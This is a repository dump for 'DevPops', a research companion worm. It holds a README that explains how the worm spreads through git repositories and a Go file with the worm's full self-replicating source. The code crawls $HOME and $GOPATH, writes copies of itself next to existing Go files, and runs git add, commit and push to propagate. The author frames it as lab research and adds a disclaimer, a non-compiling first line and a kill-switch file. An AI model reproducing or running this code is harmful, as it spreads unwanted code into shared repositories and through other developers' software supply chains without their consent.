├── 274px-ISO_7010_W009.svg.png ├── README.md ├── companion-worms.pdf └── devpops.go /274px-ISO_7010_W009.svg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stealth/devpops/ac23e56adc7eead42219d20c0d194fdfd5e3b7da/274px-ISO_7010_W009.svg.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | DevPops 2 | ======= 3 | 4 |

5 | 6 |

7 | 8 | 9 | *DevPops* continues my research on companion worms. It is a friendly companion without payload and without modifying 10 | any source files. The spreading vectors are gits. 11 | 12 | In memoriam of my former Professor at the department of Computer Science, who was a great researcher and one of the 13 | few who allowed his students virus experiments at his research lab. 14 | 15 | **Disclaimer**: All of this code is for research and educational purposes only. By using this code, you agree to these 16 | license terms and terms of use: **You are not allowed to modify or pass the source along to others. The sole purpose 17 | and allowed use is to read and study the code and making experiments on an isolated lab machine without any network 18 | connections. After the experiment, the lab setup has to be destroyed.** 19 | 20 | If you want to experiment with *DevPops*, make sure: 21 | 22 | * setup a *dedicated* lab VM or user-account 23 | * do not have remote origins in the gits that can be found on the lab 24 | * search the entire lab setup for ".git" directories and check each of them 25 | to contain no remote origins or origins that could be accessed by others locally 26 | * plug off network cable and shutdown wifi 27 | * after the experiment, destroy the lab 28 | 29 | In order to prevent accidental clones or builds by drunken users or scripts, this repo cannot be 30 | built directly after clone. It only contains non-functional, non-building code. It has to be edited by hand 31 | in order to make sure the user understands what he is doing and that they are responsible for their own actions. 32 | 33 | Additionally, in the event that you ignored my warnings above, there is a kill-switch built in: 34 | 35 | ``` 36 | localhost: $ touch ~/.devpops 37 | ``` 38 | 39 | and *DevPops* stops working. 40 | 41 | Now that the intentions are very clear and you have been made aware of it, we can dig into the beauty. 42 | 43 | The Code 44 | -------- 45 | 46 | As my paper from 12y ago about companion worms disappeared from the server, I added it again to this repo 1:1 as it was 47 | released in 2009. Inside its reference section, it contains a list of research that has been done about 48 | such topics long ago. I want to put your focus on a thesis from 1980, four years before Fred Cohen made 49 | his famous experiments. 50 | 51 | In my paper from 2009, the companion used a terminal injection vulnerability (CVE-2008-2383) for spreading. 52 | Git and golang were not very widespread back then. Due to the DevOps practise, git and cross-platform development 53 | everywhere, the issue of companions becomes even more interesting. Tight coupling of Devel, Test and Release, 54 | Code-Share and Collaboration-Everywhere create exactly an environment for companions that no longer need 55 | vulnerabilities to spread. The "process" is doing that. 56 | 57 | *DevPops* is very straight forward. It does not contain any payload, no mutation or encryption of its own code, 58 | no mutation of the commit messages etc, although it would be dead easy to add. It just walks `$HOME` and `$GOPATH` 59 | and puts a file called `devpops.go` in directories where it found existing golang files. It would then `git add`, 60 | `git commit` and `git push`, taking advantage of git's feature to walk the current directory up until it found 61 | a possible repo it could use. 62 | Note that none of these are vulnerabilities or shortcomings, it just happens that (by design), all the DevOps 63 | features are aligned so nicely, that it creates a *DevPops* opportunity for us. *DevPops* is sort of a quine, 64 | the kind of fascinating programs, that print the source of itself. As such, it can even spread across architectures 65 | and platforms. I leave the rest of the fun analyzing the details and reading the source to you. 66 | 67 | I have to admit, I was too lazy to make a new paper out of it and I did not even research whether there is 68 | similar stuff already in existence on vxheaven or elsewhere, as the idea seems very obvious. If you happen to have 69 | your own research on it or make virii experiments at research labs or universities, feel free to give me a hint. 70 | 71 | Resources 72 | --------- 73 | 74 | The biohazard sign was taken from Wikipedia and is under public domain. 75 | 76 | -------------------------------------------------------------------------------- /companion-worms.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stealth/devpops/ac23e56adc7eead42219d20c0d194fdfd5e3b7da/companion-worms.pdf -------------------------------------------------------------------------------- /devpops.go: -------------------------------------------------------------------------------- 1 | BEWARE. DO NOT REMOVE THIS LINE UNLESS YOU AGREE TO THE TERMS OF USE 2 | FOUND IN THE README AND UNDERSTOOD ALL OF ITS CONSEQUENCIES. 3 | main 4 | 5 | import ( 6 | "fmt" 7 | "io/ioutil" 8 | "os" 9 | "os/exec" 10 | "strings" 11 | ) 12 | 13 | func main() { 14 | fmt.Printf("Hello main\n") 15 | } 16 | 17 | var raw = ` 18 | 19 | func init() { 20 | devpops(os.Getenv("HOME")) 21 | devpops(os.Getenv("GOPATH")) 22 | } 23 | 24 | func devpops(dir string) { 25 | 26 | if _, dvps := os.Stat(dir + "/.devpops"); dvps == nil { 27 | os.Exit(1) 28 | } 29 | 30 | files, err := ioutil.ReadDir(dir) 31 | 32 | if err != nil || len(files) == 0 { 33 | return 34 | } 35 | 36 | for _, file := range files { 37 | abspath := dir + "/" + file.Name() 38 | if stat, err := os.Stat(abspath); (err != nil || stat.IsDir()) { 39 | if err != nil || stat == nil { 40 | continue 41 | } 42 | if _, err = os.Stat(abspath + "/devpops.go"); err == nil { 43 | continue 44 | } 45 | devpops(abspath) 46 | continue 47 | } 48 | if strings.LastIndex(abspath, ".go") != len(abspath) - 3 { 49 | continue 50 | } 51 | 52 | fd, err := os.Open(abspath) 53 | if err != nil { 54 | continue 55 | } 56 | head := make([]byte, 4096) 57 | if _, err = fd.Read(head); err != nil { 58 | continue 59 | } 60 | fd.Close() 61 | 62 | hstr := string(head) 63 | var idx int 64 | if idx = strings.Index(hstr, "package "); idx == -1 { 65 | continue 66 | } 67 | pstr := string(head[idx:]) 68 | if idx = strings.Index(pstr, "\n"); idx == -1 { 69 | continue 70 | } 71 | pstr = pstr[:idx + 1] 72 | 73 | if fd, err = os.OpenFile(dir + "/devpops.go", os.O_CREATE|os.O_WRONLY, 0640); err != nil { 74 | break 75 | } 76 | 77 | fd.WriteString(pstr + "import (\"strings\"\n\"io/ioutil\"\n\"os\"\n\"os/exec\"\n)\n") 78 | fd.WriteString("var raw = " + string([]byte("\x60")) + raw + string([]byte("\x60")) + raw) 79 | fd.Close() 80 | 81 | exec.Command("sh", "-c", "$(cd " + dir + ";git add devpops.go; git commit -m 'Adding DevPops feature.';git push)").Run() 82 | } 83 | } 84 | ` 85 | 86 | func init() { 87 | devpops(os.Getenv("HOME")) 88 | devpops(os.Getenv("GOPATH")) 89 | } 90 | 91 | func devpops(dir string) { 92 | 93 | if _, dvps := os.Stat(dir + "/.devpops"); dvps == nil { 94 | os.Exit(1) 95 | } 96 | 97 | files, err := ioutil.ReadDir(dir) 98 | 99 | if err != nil || len(files) == 0 { 100 | return 101 | } 102 | 103 | for _, file := range files { 104 | abspath := dir + "/" + file.Name() 105 | if stat, err := os.Stat(abspath); (err != nil || stat.IsDir()) { 106 | if err != nil || stat == nil { 107 | continue 108 | } 109 | if _, err = os.Stat(abspath + "/devpops.go"); err == nil { 110 | continue 111 | } 112 | devpops(abspath) 113 | continue 114 | } 115 | if strings.LastIndex(abspath, ".go") != len(abspath) - 3 { 116 | continue 117 | } 118 | 119 | fd, err := os.Open(abspath) 120 | if err != nil { 121 | continue 122 | } 123 | head := make([]byte, 4096) 124 | if _, err = fd.Read(head); err != nil { 125 | continue 126 | } 127 | fd.Close() 128 | 129 | hstr := string(head) 130 | var idx int 131 | if idx = strings.Index(hstr, "package "); idx == -1 { 132 | continue 133 | } 134 | pstr := string(head[idx:]) 135 | if idx = strings.Index(pstr, "\n"); idx == -1 { 136 | continue 137 | } 138 | pstr = pstr[:idx + 1] 139 | 140 | if fd, err = os.OpenFile(dir + "/devpops.go", os.O_CREATE|os.O_WRONLY, 0640); err != nil { 141 | break 142 | } 143 | 144 | fd.WriteString(pstr + "import (\"strings\"\n\"io/ioutil\"\n\"os\"\n\"os/exec\"\n)\n") 145 | fd.WriteString("var raw = " + string([]byte("\x60")) + raw + string([]byte("\x60")) + raw) 146 | fd.Close() 147 | 148 | exec.Command("sh", "-c", "$(cd " + dir + ";git add devpops.go; git commit -m 'Adding DevPops feature.';git push)").Run() 149 | } 150 | } 151 | --------------------------------------------------------------------------------